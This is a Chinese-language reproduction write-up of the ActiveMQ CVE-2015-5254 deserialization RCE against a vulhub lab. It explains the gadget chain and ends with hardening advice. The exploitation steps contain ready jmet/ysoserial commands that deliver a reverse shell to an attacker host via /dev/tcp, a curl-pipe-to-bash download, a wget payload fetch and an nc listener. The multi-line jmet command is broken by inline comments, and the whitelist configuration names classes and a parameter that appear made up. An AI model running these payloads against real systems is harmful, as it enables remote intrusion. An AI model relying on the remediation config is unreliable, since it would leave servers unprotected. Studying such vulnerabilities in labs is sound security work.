漏洞概述

Apache ActiveMQ 简介

Apache ActiveMQ 是 Apache 软件基金会研发的开源消息中间件，支持 JMS（Java Message Service）、集群、Spring Framework 等多种企业级特性，广泛应用于分布式系统中作为消息代理（Message Broker）。

漏洞信息

漏洞原理

Java 反序列化漏洞的本质

Java 反序列化过程会自动调用被反序列化对象的 readObject() 方法。如果类路径（Classpath）中存在可利用的"gadget chain"（小工具链），攻击者可以构造一条从 readObject() 出发、最终到达任意代码执行的调用链。

攻击者构造恶意序列化对象
        │
        ▼
┌─────────────────────────────────┐
│  使用 ysoserial 生成 Payload    │
│  java -jar ysoserial.jar        │
│  ROME "cmd" > payload.bin      │
└──────────────┬──────────────────┘
               │
               ▼
┌─────────────────────────────────┐
│  发送至 ActiveMQ 61616 端口     │
│  封装为 JMS ObjectMessage      │
│  存入消息队列 (event)          │
└──────────────┬──────────────────┘
               │
               ▼
┌─────────────────────────────────┐
│  Web Console 读取消息           │
│  (或任意 JMS Consumer)          │
│  触发 ObjectMessage.getObject() │
└──────────────┬──────────────────┘
               │
               ▼
┌─────────────────────────────────┐
│  Java 反序列化过程               │
│  readObject() → Gadget Chain    │
│  → Runtime.exec() → RCE!       │
└─────────────────────────────────┘

为什么 ActiveMQ 存在此漏洞

ActiveMQ 5.13.0 之前的版本在处理 javax.jms.ObjectMessage 时，没有限制可以反序列化的类白名单。这意味着只要序列化对象存在于 JMS 消息中，ActiveMQ 就会无条件执行 readObject() 进行反序列化：

// ActiveMQ 反序列化入口（简化）
ObjectMessage msg = (ObjectMessage) consumer.receive();
Serializable obj = msg.getObject();  // ← 直接反序列化，无安全检查

这使得攻击者可以在类路径中任意寻找可用的 gadget chain 并完成 RCE。

ROME Gadget 链原理

jmet 工具使用的 ROME (ROME RSS Library) gadget 链利用了以下调用关系：

核心技巧：TemplatesImpl 类（存在于 JDK 自带的 com.sun.org.apache.xalan.internal.xsltc.trax）允许通过 getOutputProperties() 加载任意字节码，是 ysoserial 中最经典的 RCE 终点之一。

影响范围

利用条件：

• ActiveMQ 的 JMS 端口 (默认 61616) 对攻击者可达
• 消息能被后续的消费者（或 Web Console 用户）读取并触发反序列化
• 目标 JVM 类路径下存在可利用的 gadget 依赖（如 ROME、Commons-Collections、Commons-BeanUtils 等）

涉及端口：

注意：Web 管理页面默认无认证（admin/admin 或无需登录），使得本漏洞的可利用性进一步提升。

环境搭建

使用 vulhub 提供的 Docker 靶场快速构建复现环境：

# 克隆 vulhub（如已克隆则跳过）
git clone https://github.com/vulhub/vulhub.git

# 进入 CVE-2015-5254 目录
cd vulhub/activemq/CVE-2015-5254/

# 启动靶场容器
docker-compose up -d

靶机 IP：192.168.50.134

启动后服务监听以下端口：

• 61616 — OpenWire 协议工作端口，消息传递
• 8161 — Jetty Web 管理控制台

漏洞复现

攻击流程

1. 构造恶意序列化对象：使用 jmet（基于 ysoserial）生成包含 ROME gadget 的可执行命令 payload
2. 发送至 JMS 端口：将序列化对象作为消息投递至 ActiveMQ 的 61616 端口
3. 触发反序列化：访问 Web 管理页面读取消息内容 → 自动反序列化 → 代码执行

Step 1: 构造并投递 Payload

java -jar jmet-0.1.0-all.jar \
  -Q event                  \   # 目标队列名称
  -I ActiveMQ               \   # 目标中间件类型
  -s                        \   # 启用 URLClassLoader（可加载远程 jar）
  -Y "bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1" \  # 反弹 shell 命令
  -Yp ROME                  \   # 使用 ROME gadget 链
  <TARGET_IP> 61616              # 目标地址:端口

参数说明：

<ATTACKER_IP> / <PORT> 替换为攻击机的 IP 和监听端口。

Step 2: 监听反弹 Shell

在攻击机上启动监听：

nc -lvnp <PORT>

Step 3: 触发反序列化

访问 ActiveMQ Web 管理页面，浏览 event 队列：

http://192.168.50.134:8161/admin/browse.jsp?JMSDestination=event

点击队列中的消息条目，ActiveMQ 会对消息内容进行反序列化渲染。此时 gadget chain 触发，执行反弹 shell 命令。

其他 Payload 变体

# 直接执行命令（适用于能回显的场景）
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s \
  -Y "curl http://<ATTACKER_IP>:8000/shell.sh | bash" \
  -Yp ROME <TARGET_IP> 61616

# 使用 CommonsCollections5 gadget（替代 ROME）
java -jar ysoserial.jar CommonsCollections5 "wget http://<ATTACKER_IP>/shell.sh -O /tmp/shell.sh" | \
  java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ --payload-stdin <TARGET_IP> 61616

延伸阅读

ActiveMQ 反序列化相关漏洞

CVE-2023-46604 是 2023 年披露的严重漏洞，CVSS 10.0。与 CVE-2015-5254 不同，它无需将消息投递到队列，仅需建立 OpenWire TCP 连接即可在 ExceptionResponse 反序列化中触发 RCE。这意味着即使 ActiveMQ 没有配置任何队列，攻击者也可直接反弹 Shell。

Java 反序列化利用工具对比

修复与加固建议

1. 升级版本（根本修复）

将 ActiveMQ 升级至 5.13.0 及以上。修复版本通过 jms.objectMessageSerializationPolicy 参数控制反序列化行为。

2. 配置序列化白名单

在 activemq.xml 中限制可反序列化的类：

<broker xmlns="http://activemq.apache.org/schema/core">
  <plugins>
    <bean id="securityPlugin"
      class="org.apache.activemq.security.ObjectMessageSerializationPolicyPlugin">
      <property name="objectMessageSerializationPolicy">
        <bean class="org.apache.activemq.security.TrustedPackagesObjectMessagePolicy">
          <property name="trustedPackages">
            <list>
              <value>java.util</value>
              <value>java.lang</value>
              <value>org.apache.activemq</value>
            </list>
          </property>
        </bean>
      </property>
    </bean>
  </plugins>
</broker>

3. 网络层防护

• 将 JMS 端口 61616 限制在内网，禁止公网直接访问
• 为 Web Console (8161) 启用认证并修改默认凭据
• 在 WAF/防火墙配置 ActiveMQ 特征过滤规则

# Nginx 反向代理 + IP 白名单
location /admin/ {
    allow 192.168.0.0/16;
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://activemq:8161;
}

参考文献

1. NVD - CVE-2015-5254: https://nvd.nist.gov/vuln/detail/CVE-2015-5254
2. Apache ActiveMQ Security Advisory - CVE-2015-5254: http://activemq.apache.org/security-advisories.data/CVE-2015-5254-announcement.txt
3. Apache ActiveMQ - JMS ObjectMessage Serialization: https://issues.apache.org/jira/browse/AMQ-6013
4. ysoserial - Java Deserialization Exploit Tool: https://github.com/frohoff/ysoserial
5. Oracle Java - JNDI/JMS Security Best Practices: https://www.oracle.com/java/technologies/javase/seccodeguide.html